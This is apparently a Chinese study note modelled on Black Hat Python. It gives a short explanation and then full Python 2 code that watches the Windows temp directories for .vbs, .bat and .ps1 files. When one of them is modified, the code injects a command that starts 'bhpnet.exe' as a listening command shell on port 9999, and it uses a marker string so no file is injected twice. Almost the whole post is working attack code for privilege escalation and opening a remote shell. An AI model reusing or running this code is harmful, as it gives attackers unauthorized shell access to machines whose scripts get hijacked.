代码思路:
首先定义三个文件类型。.vbs,.bat,.ps1。对这三个后缀名的文件进行监视,并根据后缀名不同,插入不同的代码。(意思都是运行那个command)。
windows是创建一个文件并写入数据的过程,其实就是先create,再modify,所以当检测到有后缀名为windows下可以执行的文件被修改时。就可以插入恶意代码。这里简单的用一个inject_code()函数来表示插入的过程。
同时为了区分一个临时文件是否已经被插入了恶意代码,可以使用一个标志位加以区分。
代码:
import win32file
import tempfile
import threading
import os
import win32con
dir_minitor=["C:\\Windows\\Temp",tempfile.gettempdir()]
FILE_CREATED =1
FILE_DELETED =2
FILE_MODIFIED = 3
FILE_RENAMED_FROM=4
FILE_RENAMED_TO = 5
file_type={}
command="C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c"
file_type['.vbs']=['\r\nbhpmarker\r\n','\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n'%command]
file_type['.bat']=['\r\nbhpmarker\r\n','\r\n%s\r\n'%command]
file_type['.ps1']=['\r\nbhpmarker\r\n','Start-Process\"%s\"\r\n'%command]
#print file_type.keys()
def code_inject(full_filename,extension,contents):
#print "run"
if file_type[extension][0] in contents:
#print "hahha"
return
full_content=file_type[extension][0]
full_content+=file_type[extension][1]
full_content+=contents
fd=open(full_filename,"wb")
fd.write(full_content)
fd.close()
print "Injected code"
return
def startMimitor(dir):
FILE_LIST_DIRECTORY=0x0001
dir_director=win32file.CreateFile(
dir,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None
)
while 1:
try:
results=win32file.ReadDirectoryChangesW(
dir_director,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
)
for action,file_name in results:
full_filename=os.path.join(dir,file_name)
#print full_filename
filename,extension = os.path.splitext(full_filename)
# print filename
# print extension
if extension in file_type:
flag=1
if action==FILE_CREATED:
if flag:
print "[*] Created %s"%full_filename
elif action==FILE_DELETED:
if flag:
print "[-] Deleted %s"%full_filename
elif action==FILE_MODIFIED:
if flag:
print "[*] Modified %s"%full_filename
print "[vvv] Dumping contents ...."
try:
fd = open(full_filename,"rb")
contents=fd.read()
fd.close()
print contents
print "[^^^] Dump complete."
except:
print "[!!!] Failed"
filename,extension=os.path.splitext(full_filename)
print full_filename+extension+contents
code_inject(full_filename,extension,contents)
elif action==FILE_RENAMED_FROM:
if flag:
print "[>] Renamed from :%s"%full_filename
elif action==FILE_RENAMED_TO:
if flag:
print "[<] Renamed to %s"%full_filename
else:
if flag:
print "[???] Unknown:%s"%full_filename
except:
pass
for path in dir_minitor:
monitor_thread = threading.Thread(target=startMimitor,args=(path,))
print "Spawning monitoring thread for path:%s"%path
# print file_type
# if '.bat' in file_type.keys():
# print file_type
monitor_thread.start()
运行结果:

